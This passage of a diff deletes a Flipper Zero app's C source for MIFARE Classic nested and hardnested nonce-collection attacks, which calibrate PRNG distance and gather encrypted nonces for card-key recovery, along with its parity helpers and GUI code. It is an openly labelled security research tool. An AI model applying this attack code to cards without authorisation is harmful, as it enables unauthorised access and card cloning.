free(crypto);
FURI_LOG_E(
TAG,
"Tag isn't vulnerable to nested attack (random numbers are not predictable)");
return 0;
}
}
}
if(collected > 1) davg = (davg + (collected - 1) / 2) / (collected - 1);
davg = MIN(MAX(dmin, davg), dmax);
FURI_LOG_I(
TAG,
"Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu collected=%lu",
rtr,
dmin,
dmax,
davg,
collected);
free(crypto);
nfc_deactivate();
return davg;
}
struct distance_info nested_calibrate_distance_info(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint64_t ui64Key) {
uint32_t cuid = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
struct distance_info r;
r.min_prng = 0;
r.max_prng = 0;
r.mid_prng = 0;
for(rtr = 0; rtr < 10; rtr++) {
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
// NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
uint32_t nttmp = prng_successor(nt1, 1);
for(i = 2; i < 65565; i++) {
nttmp = prng_successor(nttmp, 1);
if(nttmp == nt2) break;
}
if(i != 65565) {
if(rtr != 0) {
davg += i;
if(dmin == 0) {
dmin = i;
} else {
dmin = MIN(dmin, i);
}
dmax = MAX(dmax, i);
}
FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
} else {
unsuccessful_tries++;
if(unsuccessful_tries > 12) {
free(crypto);
FURI_LOG_E(
TAG,
"Tag isn't vulnerable to nested attack (random numbers are not predictable)");
return r;
}
}
}
if(rtr > 1) davg = (davg + (rtr - 1) / 2) / (rtr - 1);
FURI_LOG_I(
TAG, "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu", rtr, dmin, dmax, davg);
r.min_prng = dmin;
r.max_prng = dmax;
r.mid_prng = davg;
free(crypto);
nfc_deactivate();
return r;
}
struct nonce_info nested_attack(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint8_t targetBlockNo,
uint8_t targetKeyType,
uint64_t ui64Key,
uint32_t distance,
uint32_t delay) {
uint32_t cuid = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
uint8_t par_array[4] = {0x00};
uint32_t nt1, nt2, ks1, i = 0, j = 0;
struct nonce_info r;
uint32_t dmin = distance - 2;
uint32_t dmax = distance + 2;
r.full = false;
for(i = 0; i < 2; i++) { // look for exactly two different nonces
r.target_nt[i] = 0;
while(r.target_nt[i] == 0) { // continue until we have an unambiguous nonce
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
free(crypto);
return r;
}
r.cuid = cuid;
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
furi_delay_us(delay);
bool success = mifare_sendcmd_short(
crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
if(!success) continue;
nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
// Parity validity check
for(j = 0; j < 4; j++) {
par_array[j] =
(oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
}
uint32_t ncount = 0;
uint32_t nttest = prng_successor(nt1, dmin - 1);
for(j = dmin; j < dmax + 1; j++) {
nttest = prng_successor(nttest, 1);
ks1 = nt2 ^ nttest;
if(valid_nonce(nttest, nt2, ks1, par_array)) {
if(ncount > 0) { // we are only interested in disambiguous nonces, try again
FURI_LOG_D(TAG, "Nonce#%lu: dismissed (ambiguous), ntdist=%lu", i + 1, j);
r.target_nt[i] = 0;
break;
}
if(delay) {
// will predict later
r.target_nt[i] = nt1;
r.target_ks[i] = nt2;
} else {
r.target_nt[i] = nttest;
r.target_ks[i] = ks1;
}
memcpy(&r.parity[i], par_array, 4);
ncount++;
if(i == 1 &&
(r.target_nt[0] == r.target_nt[1] ||
r.target_ks[0] == r.target_ks[1])) { // we need two different nonces
r.target_nt[i] = 0;
FURI_LOG_D(TAG, "Nonce#2: dismissed (= nonce#1), ntdist=%lu", j);
break;
}
FURI_LOG_D(TAG, "Nonce#%lu: valid, ntdist=%lu", i + 1, j);
}
}
if(r.target_nt[i] == 0 && j == dmax + 1) {
FURI_LOG_D(TAG, "Nonce#%lu: dismissed (all invalid)", i + 1);
}
}
}
if(r.target_nt[0] && r.target_nt[1]) {
r.full = true;
}
free(crypto);
nfc_deactivate();
return r;
}
struct nonce_info_hard nested_hard_nonce_attack(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint8_t targetBlockNo,
uint8_t targetKeyType,
uint64_t ui64Key,
uint32_t* found,
uint32_t* first_byte_sum,
Stream* file_stream) {
uint32_t cuid = 0;
uint8_t same = 0;
uint64_t previous = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
uint8_t par_array[4] = {0x00};
struct nonce_info_hard r;
r.full = false;
r.static_encrypted = false;
for(uint32_t i = 0; i < 8; i++) {
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
free(crypto);
return r;
}
r.cuid = cuid;
if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, NULL))
continue;
if(!mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo))
continue;
uint64_t nt = nfc_util_bytes2num(tx_rx->rx_data, 4);
for(uint32_t j = 0; j < 4; j++) {
par_array[j] =
(oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
}
uint8_t pbits = 0;
for(uint8_t j = 0; j < 4; j++) {
uint8_t p = oddparity8(tx_rx->rx_data[j]);
if(par_array[j]) {
p ^= 1;
}
pbits <<= 1;
pbits |= p;
}
// update unique nonces
if(!found[tx_rx->rx_data[0]]) {
*first_byte_sum += evenparity32(pbits & 0x08);
found[tx_rx->rx_data[0]]++;
}
if(nt == previous) {
same++;
}
previous = nt;
FuriString* row = furi_string_alloc_printf("%llu|%u\n", nt, pbits);
stream_write_string(file_stream, row);
FURI_LOG_D(TAG, "Accured %lu/8 nonces", i + 1);
furi_string_free(row);
}
if(same > 4) {
r.static_encrypted = true;
}
r.full = true;
free(crypto);
nfc_deactivate();
return r;
}
NestedCheckKeyResult nested_check_key(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint64_t ui64Key) {
uint32_t cuid = 0;
uint32_t nt;
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) return NestedCheckKeyNoTag;
FURI_LOG_D(
TAG, "Checking %c key %012llX for block %u", !keyType ? 'A' : 'B', ui64Key, blockNo);
Crypto1* crypto = malloc(sizeof(Crypto1));
bool success =
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt);
free(crypto);
nfc_deactivate();
return success ? NestedCheckKeyValid : NestedCheckKeyInvalid;
}
bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType) {
uint32_t cuid = 0;
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) return false;
Crypto1* crypto = malloc(sizeof(Crypto1));
bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60 + (keyType & 0x01), blockNo);
free(crypto);
nfc_deactivate();
return success;
}
void nested_get_data(FuriHalNfcDevData* dev_data) {
nfc_activate();
furi_hal_nfc_detect(dev_data, 400);
nfc_deactivate();
}
void nfc_activate() {
nfc_deactivate();
// Setup nfc poller
furi_hal_nfc_exit_sleep();
furi_hal_nfc_ll_txrx_on();
furi_hal_nfc_ll_poll();
if(furi_hal_nfc_ll_set_mode(
FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106) !=
FuriHalNfcReturnOk)
return;
furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER);
furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER);
furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc);
furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA);
}
void nfc_deactivate() {
furi_hal_nfc_ll_txrx_off();
furi_hal_nfc_start_sleep();
furi_hal_nfc_sleep();
}

118
applications/external/mifare_nested/lib/nested/nested.h vendored
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@@ -1,118 +0,0 @@
#pragma once
#include <lib/nfc/protocols/nfc_util.h>
#include <lib/nfc/protocols/mifare_classic.h>
#include <lib/nfc/protocols/crypto1.h>
#include <storage/storage.h>
#include <stream/stream.h>
#include <stream/buffered_file_stream.h>
typedef enum {
MifareNestedNonceNoTag,
MifareNestedNonceWeak,
MifareNestedNonceStatic,
MifareNestedNonceHard,
} MifareNestedNonceType;
MifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo);
struct nonce_info_static {
uint32_t cuid;
uint32_t target_nt[2];
uint32_t target_ks[2];
bool full;
};
struct nonce_info_hard {
uint32_t cuid;
bool static_encrypted;
bool full;
};
struct nonce_info {
uint32_t cuid;
uint32_t target_nt[2];
uint32_t target_ks[2];
uint8_t parity[2][4];
bool full;
};
struct distance_info {
uint32_t min_prng;
uint32_t max_prng;
uint32_t mid_prng;
};
struct nonce_info_static nested_static_nonce_attack(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint8_t targetBlockNo,
uint8_t targetKeyType,
uint64_t ui64Key);
struct nonce_info nested_attack(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint8_t targetBlockNo,
uint8_t targetKeyType,
uint64_t ui64Key,
uint32_t distance,
uint32_t delay);
struct nonce_info_hard nested_hard_nonce_attack(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint8_t targetBlockNo,
uint8_t targetKeyType,
uint64_t ui64Key,
uint32_t* found,
uint32_t* first_byte_sum,
Stream* file_stream);
uint32_t nested_calibrate_distance(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint64_t ui64Key,
uint32_t delay,
bool full);
struct distance_info nested_calibrate_distance_info(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint64_t ui64Key);
typedef enum {
NestedCheckKeyNoTag,
NestedCheckKeyValid,
NestedCheckKeyInvalid,
} NestedCheckKeyResult;
NestedCheckKeyResult nested_check_key(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint64_t ui64Key);
bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType);
void nested_get_data();
bool mifare_classic_authex(
Crypto1* crypto,
FuriHalNfcTxRxContext* tx_rx,
uint32_t uid,
uint32_t blockNo,
uint32_t keyType,
uint64_t ui64Key,
bool isNested,
uint32_t* ntptr);
void nfc_activate();
void nfc_deactivate();

71
applications/external/mifare_nested/lib/parity/parity.c vendored
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@@ -1,71 +0,0 @@
#include "parity.h"
uint32_t __paritysi2(uint32_t a) {
uint32_t x = (uint32_t)a;
x ^= x >> 16;
x ^= x >> 8;
x ^= x >> 4;
return (0x6996 >> (x & 0xF)) & 1;
}
static const uint8_t g_odd_byte_parity[256] = {
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0,
1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1,
1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1,
0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0,
1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1,
0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0,
0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1,
0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1};
#define ODD_PARITY8(x) \
{ g_odd_byte_parity[x] }
#define EVEN_PARITY8(x) \
{ !g_odd_byte_parity[x] }
uint8_t oddparity8(const uint8_t x) {
return g_odd_byte_parity[x];
}
uint8_t evenparity8(const uint8_t x) {
return !g_odd_byte_parity[x];
}
uint8_t evenparity16(uint16_t x) {
#if !defined __GNUC__
x ^= x >> 8;
return EVEN_PARITY8(x);
#else
return (__builtin_parity(x) & 0xFF);
#endif
}
uint8_t oddparity16(uint16_t x) {
#if !defined __GNUC__
x ^= x >> 8;
return ODD_PARITY8(x);
#else
return !__builtin_parity(x);
#endif
}
uint8_t evenparity32(uint32_t x) {
#if !defined __GNUC__
x ^= x >> 16;
x ^= x >> 8;
return EVEN_PARITY8(x);
#else
return (__builtin_parity(x) & 0xFF);
#endif
}
uint8_t oddparity32(uint32_t x) {
#if !defined __GNUC__
x ^= x >> 16;
x ^= x >> 8;
return ODD_PARITY8(x);
#else
return !__builtin_parity(x);
#endif
}

10
applications/external/mifare_nested/lib/parity/parity.h vendored
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@@ -1,10 +0,0 @@
#include "stdint.h"
uint8_t oddparity8(const uint8_t x);
uint8_t evenparity8(const uint8_t x);
uint8_t evenparity16(uint16_t x);
uint8_t oddparity16(uint16_t x);
uint8_t evenparity32(uint32_t x);
uint8_t oddparity32(uint32_t x);

409
applications/external/mifare_nested/mifare_nested.c vendored
View File

@@ -1,409 +0,0 @@
#include "mifare_nested_i.h"
#include <gui/elements.h>
bool mifare_nested_custom_event_callback(void* context, uint32_t event) {
furi_assert(context);
MifareNested* mifare_nested = context;
return scene_manager_handle_custom_event(mifare_nested->scene_manager, event);
}
bool mifare_nested_back_event_callback(void* context) {
furi_assert(context);
MifareNested* mifare_nested = context;
return scene_manager_handle_back_event(mifare_nested->scene_manager);
}
void mifare_nested_tick_event_callback(void* context) {
furi_assert(context);
MifareNested* mifare_nested = context;
scene_manager_handle_tick_event(mifare_nested->scene_manager);
}
void mifare_nested_show_loading_popup(void* context, bool show) {
MifareNested* mifare_nested = context;
TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME);
if(show) {
// Raise timer priority so that animations can play
vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1);
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewLoading);
} else {
// Restore default timer priority
vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY);
}
}
NestedState* collection_alloc() {
NestedState* nested = malloc(sizeof(NestedState));
nested->view = view_alloc();
view_allocate_model(nested->view, ViewModelTypeLocking, sizeof(NestedAttackViewModel));
with_view_model(
nested->view,
NestedAttackViewModel * model,
{
model->header = furi_string_alloc();
furi_string_set(model->header, "Collecting nonces");
model->keys_count = 0;
model->hardnested_states = 0;
model->lost_tag = false;
model->calibrating = false;
model->need_prediction = false;
model->hardnested = false;
},
false);
return nested;
}
CheckKeysState* check_keys_alloc() {
CheckKeysState* state = malloc(sizeof(CheckKeysState));
state->view = view_alloc();
view_allocate_model(state->view, ViewModelTypeLocking, sizeof(CheckKeysViewModel));
with_view_model(
state->view,
CheckKeysViewModel * model,
{
model->header = furi_string_alloc();
furi_string_set(model->header, "Checking keys");
model->lost_tag = false;
},
false);
return state;
}
static void nested_draw_callback(Canvas* canvas, void* model) {
NestedAttackViewModel* m = model;
if(m->lost_tag) {
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Lost the tag!");
canvas_set_font(canvas, FontSecondary);
elements_multiline_text_aligned(
canvas, 64, 23, AlignCenter, AlignTop, "Make sure the tag is\npositioned correctly.");
} else if(m->calibrating) {
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Calibrating...");
canvas_set_font(canvas, FontSecondary);
if(!m->need_prediction) {
elements_multiline_text_aligned(
canvas, 64, 23, AlignCenter, AlignTop, "Don't touch or move\nFlipper/Tag!");
} else {
elements_multiline_text_aligned(
canvas, 64, 18, AlignCenter, AlignTop, "Don't touch or move tag!");
canvas_set_font(canvas, FontPrimary);
elements_multiline_text_aligned(
canvas, 64, 30, AlignCenter, AlignTop, "Calibration will take\nmore time");
}
} else if(m->hardnested) {
char draw_str[32] = {};
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header));
canvas_set_font(canvas, FontSecondary);
float progress =
m->keys_count == 0 ? 0 : (float)(m->nonces_collected) / (float)(m->keys_count);
if(progress > 1.0) {
progress = 1.0;
}
elements_progress_bar(canvas, 5, 15, 120, progress);
canvas_set_font(canvas, FontSecondary);
snprintf(
draw_str,
sizeof(draw_str),
"Nonces collected: %lu/%lu",
m->nonces_collected,
m->keys_count);
canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str);
snprintf(draw_str, sizeof(draw_str), "States found: %lu/256", m->hardnested_states);
canvas_draw_str_aligned(canvas, 1, 40, AlignLeft, AlignTop, draw_str);
} else {
char draw_str[32] = {};
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header));
canvas_set_font(canvas, FontSecondary);
float progress =
m->keys_count == 0 ? 0 : (float)(m->nonces_collected) / (float)(m->keys_count);
if(progress > 1.0) {
progress = 1.0;
}
elements_progress_bar(canvas, 5, 15, 120, progress);
canvas_set_font(canvas, FontSecondary);
snprintf(
draw_str,
sizeof(draw_str),
"Nonces collected: %lu/%lu",
m->nonces_collected,
m->keys_count);
canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str);
}
elements_button_center(canvas, "Stop");
}
static void check_keys_draw_callback(Canvas* canvas, void* model) {
CheckKeysViewModel* m = model;
if(m->lost_tag) {
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Lost the tag!");
canvas_set_font(canvas, FontSecondary);
elements_multiline_text_aligned(
canvas, 64, 23, AlignCenter, AlignTop, "Make sure the tag is\npositioned correctly.");
} else if(m->processing_keys) {
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Processing keys...");
canvas_set_font(canvas, FontSecondary);
elements_multiline_text_aligned(
canvas, 64, 23, AlignCenter, AlignTop, "Checking which keys you\nalready have...");
} else {
char draw_str[32] = {};
char draw_sub_str[32] = {};
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header));
canvas_set_font(canvas, FontSecondary);
float progress = m->keys_count == 0 ? 0 :
(float)(m->keys_checked) / (float)(m->keys_count);
if(progress > 1.0) {
progress = 1.0;
}
elements_progress_bar(canvas, 5, 15, 120, progress);
canvas_set_font(canvas, FontSecondary);
snprintf(
draw_str, sizeof(draw_str), "Keys checked: %lu/%lu", m->keys_checked, m->keys_count);
canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str);
snprintf(
draw_sub_str,
sizeof(draw_sub_str),
"Keys found: %lu/%lu",
m->keys_found,
m->keys_total);
canvas_draw_str_aligned(canvas, 1, 40, AlignLeft, AlignTop, draw_sub_str);
}
elements_button_center(canvas, "Stop");
}
static bool nested_input_callback(InputEvent* event, void* context) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event->type == InputTypeShort && (event->key == InputKeyBack || event->key == InputKeyOk)) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
return consumed;
}
MifareNested* mifare_nested_alloc() {
MifareNested* mifare_nested = malloc(sizeof(MifareNested));
mifare_nested->worker = mifare_nested_worker_alloc();
mifare_nested->view_dispatcher = view_dispatcher_alloc();
mifare_nested->scene_manager =
scene_manager_alloc(&mifare_nested_scene_handlers, mifare_nested);
view_dispatcher_enable_queue(mifare_nested->view_dispatcher);
view_dispatcher_set_event_callback_context(mifare_nested->view_dispatcher, mifare_nested);
view_dispatcher_set_custom_event_callback(
mifare_nested->view_dispatcher, mifare_nested_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
mifare_nested->view_dispatcher, mifare_nested_back_event_callback);
view_dispatcher_set_tick_event_callback(
mifare_nested->view_dispatcher, mifare_nested_tick_event_callback, 100);
// Nfc device
mifare_nested->nfc_dev = nfc_device_alloc();
// Open GUI record
mifare_nested->gui = furi_record_open(RECORD_GUI);
view_dispatcher_attach_to_gui(
mifare_nested->view_dispatcher, mifare_nested->gui, ViewDispatcherTypeFullscreen);
// Open Notification record
mifare_nested->notifications = furi_record_open(RECORD_NOTIFICATION);
// Submenu
mifare_nested->submenu = submenu_alloc();
view_dispatcher_add_view(
mifare_nested->view_dispatcher,
MifareNestedViewMenu,
submenu_get_view(mifare_nested->submenu));
// Popup
mifare_nested->popup = popup_alloc();
view_dispatcher_add_view(
mifare_nested->view_dispatcher,
MifareNestedViewPopup,
popup_get_view(mifare_nested->popup));
// Loading
mifare_nested->loading = loading_alloc();
view_dispatcher_add_view(
mifare_nested->view_dispatcher,
MifareNestedViewLoading,
loading_get_view(mifare_nested->loading));
// Text Input
mifare_nested->text_input = text_input_alloc();
view_dispatcher_add_view(
mifare_nested->view_dispatcher,
MifareNestedViewTextInput,
text_input_get_view(mifare_nested->text_input));
// Custom Widget
mifare_nested->widget = widget_alloc();
view_dispatcher_add_view(
mifare_nested->view_dispatcher,
MifareNestedViewWidget,
widget_get_view(mifare_nested->widget));
// Variable Item List
mifare_nested->variable_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
mifare_nested->view_dispatcher,
MifareNestedViewVariableList,
variable_item_list_get_view(mifare_nested->variable_item_list));
// Nested attack state
NestedState* plugin_state = collection_alloc();
view_set_context(plugin_state->view, mifare_nested);
mifare_nested->nested_state = plugin_state;
view_dispatcher_add_view(
mifare_nested->view_dispatcher, MifareNestedViewCollecting, plugin_state->view);
// Check keys attack state
CheckKeysState* keys_state = check_keys_alloc();
view_set_context(keys_state->view, mifare_nested);
mifare_nested->keys_state = keys_state;
view_dispatcher_add_view(
mifare_nested->view_dispatcher, MifareNestedViewCheckKeys, keys_state->view);
KeyInfo_t* key_info = malloc(sizeof(KeyInfo_t));
mifare_nested->keys = key_info;
MifareNestedSettings* settings = malloc(sizeof(MifareNestedSettings));
settings->only_hardnested = false;
mifare_nested->settings = settings;
view_set_draw_callback(plugin_state->view, nested_draw_callback);
view_set_input_callback(plugin_state->view, nested_input_callback);
view_set_draw_callback(keys_state->view, check_keys_draw_callback);
view_set_input_callback(keys_state->view, nested_input_callback);
mifare_nested->collecting_type = MifareNestedWorkerStateReady;
mifare_nested->run = NestedRunIdle;
return mifare_nested;
}
void mifare_nested_free(MifareNested* mifare_nested) {
furi_assert(mifare_nested);
// Nfc device
nfc_device_free(mifare_nested->nfc_dev);
// Submenu
view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewMenu);
submenu_free(mifare_nested->submenu);
// Popup
view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewPopup);
popup_free(mifare_nested->popup);
// Loading
view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewLoading);
loading_free(mifare_nested->loading);
// TextInput
view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewTextInput);
text_input_free(mifare_nested->text_input);
// Custom Widget
view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
widget_free(mifare_nested->widget);
// Variable Item List
view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewVariableList);
variable_item_list_free(mifare_nested->variable_item_list);
// Nested
view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewCollecting);
// Check keys
view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewCheckKeys);
// Nonces states
free(mifare_nested->nonces);
free(mifare_nested->nested_state);
// Keys
free(mifare_nested->keys);
// Settings
free(mifare_nested->settings);
// Worker
mifare_nested_worker_stop(mifare_nested->worker);
mifare_nested_worker_free(mifare_nested->worker);
// View Dispatcher
view_dispatcher_free(mifare_nested->view_dispatcher);
// Scene Manager
scene_manager_free(mifare_nested->scene_manager);
// GUI
furi_record_close(RECORD_GUI);
mifare_nested->gui = NULL;
// Notifications
furi_record_close(RECORD_NOTIFICATION);
mifare_nested->notifications = NULL;
free(mifare_nested);
}
void mifare_nested_blink_start(MifareNested* mifare_nested) {
notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_start_blue);
}
void mifare_nested_blink_calibration_start(MifareNested* mifare_nested) {
notification_message(
mifare_nested->notifications, &mifare_nested_sequence_blink_start_magenta);
}
void mifare_nested_blink_nonce_collection_start(MifareNested* mifare_nested) {
notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_start_yellow);
}
void mifare_nested_blink_stop(MifareNested* mifare_nested) {
notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_stop);
}
int32_t mifare_nested_app(void* p) {
UNUSED(p);
MifareNested* mifare_nested = mifare_nested_alloc();
scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneStart);
view_dispatcher_run(mifare_nested->view_dispatcher);
mifare_nested_free(mifare_nested);
return 0;
}

3
applications/external/mifare_nested/mifare_nested.h vendored
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#pragma once
typedef struct MifareNested MifareNested;

182
applications/external/mifare_nested/mifare_nested_i.h vendored
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#pragma once
#include "mifare_nested.h"
#include "mifare_nested_worker.h"
#include "lib/nested/nested.h"
#include <furi.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <notification/notification_messages.h>
#include <gui/modules/submenu.h>
#include <gui/modules/popup.h>
#include <gui/modules/loading.h>
#include <gui/modules/text_input.h>
#include <gui/modules/widget.h>
#include <input/input.h>
#include "scenes/mifare_nested_scene.h"
#include <storage/storage.h>
#include <lib/toolbox/path.h>
#include <lib/nfc/nfc_device.h>
#include <lib/toolbox/value_index.h>
#include <gui/modules/variable_item_list.h>
#include "mifare_nested_icons.h"
#include <assets_icons.h>
#define NESTED_VERSION_APP "1.5.2"
#define NESTED_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNested"
#define NESTED_RECOVER_KEYS_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNestedRecovery"
#define NESTED_NONCE_FORMAT_VERSION "3"
#define NESTED_AUTHOR "@AloneLiberty (t.me/libertydev)"
enum MifareNestedCustomEvent {
// Reserve first 100 events for button types and indexes, starting from 0
MifareNestedCustomEventReserved = 100,
MifareNestedCustomEventViewExit,
MifareNestedCustomEventWorkerExit,
MifareNestedCustomEventByteInputDone,
MifareNestedCustomEventTextInputDone,
MifareNestedCustomEventSceneSettingLock
};
typedef void (*NestedCallback)(void* context);
typedef struct {
FuriMutex* mutex;
FuriMessageQueue* event_queue;
ViewPort* view_port;
View* view;
NestedCallback callback;
void* context;
} NestedState;
typedef void (*CheckKeysCallback)(void* context);
typedef struct {
FuriMutex* mutex;
FuriMessageQueue* event_queue;
ViewPort* view_port;
View* view;
CheckKeysCallback callback;
void* context;
} CheckKeysState;
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} PluginEvent;
typedef struct {
bool only_hardnested;
} MifareNestedSettings;
typedef enum { NestedRunIdle, NestedRunCheckKeys, NestedRunAttack } NestedRunNext;
struct MifareNested {
MifareNestedWorker* worker;
ViewDispatcher* view_dispatcher;
Gui* gui;
NotificationApp* notifications;
SceneManager* scene_manager;
NfcDevice* nfc_dev;
VariableItemList* variable_item_list;
MifareNestedSettings* settings;
FuriString* text_box_store;
// Common Views
Submenu* submenu;
Popup* popup;
Loading* loading;
TextInput* text_input;
Widget* widget;
NonceList_t* nonces;
KeyInfo_t* keys;
NestedState* nested_state;
CheckKeysState* keys_state;
SaveNoncesResult_t* save_state;
MifareNestedWorkerState collecting_type;
NestedRunNext run;
};
typedef enum {
MifareNestedViewMenu,
MifareNestedViewPopup,
MifareNestedViewLoading,
MifareNestedViewTextInput,
MifareNestedViewWidget,
MifareNestedViewVariableList,
MifareNestedViewCollecting,
MifareNestedViewCheckKeys,
} MifareNestedView;
typedef struct {
FuriString* header;
uint32_t keys_count;
uint32_t nonces_collected;
uint32_t hardnested_states;
bool lost_tag;
bool calibrating;
bool need_prediction;
bool hardnested;
} NestedAttackViewModel;
typedef struct {
FuriString* header;
uint32_t keys_count;
uint32_t keys_checked;
uint32_t keys_found;
uint32_t keys_total;
bool lost_tag;
bool processing_keys;
} CheckKeysViewModel;
static const NotificationSequence mifare_nested_sequence_blink_start_blue = {
&message_blink_start_10,
